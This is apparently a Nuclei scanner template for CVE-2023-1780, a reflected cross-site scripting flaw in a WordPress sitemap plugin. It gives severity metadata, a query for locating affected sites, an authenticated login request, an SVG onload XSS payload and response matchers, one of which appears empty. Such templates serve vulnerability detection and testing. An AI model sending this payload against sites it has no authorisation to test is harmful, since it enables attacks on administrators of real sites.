id: CVE-2023-1780 info: name: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin. remediation: Fixed in version 4.5.3 reference: - https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3 - https://nvd.nist.gov/vuln/detail/CVE-2023-1780 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-1780 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.2903 cpe: cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: codeermeneer product: companion_sitemap_generator framework: wordpress publicwww-query: "/wp-content/plugins/companion-sitemap-generator/" tags: cve,cve2023,wpscan,wp,wordpress,wp-scan,xss,authenticated,codeermeneer http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "re not allowed to view")' - 'contains(body_2, "")' condition: and # digest: 4a0a00473045022037fd184a30baa4bf9c5bead97935ec384efbce6d629f36e79fdc4a6f96c2a5d0022100fdeb0ca8f655e4f1856990096615ff0c35961dd2dea9984283364c1c0c9cc6ab:922c64590222798bb761d5b6d8e72950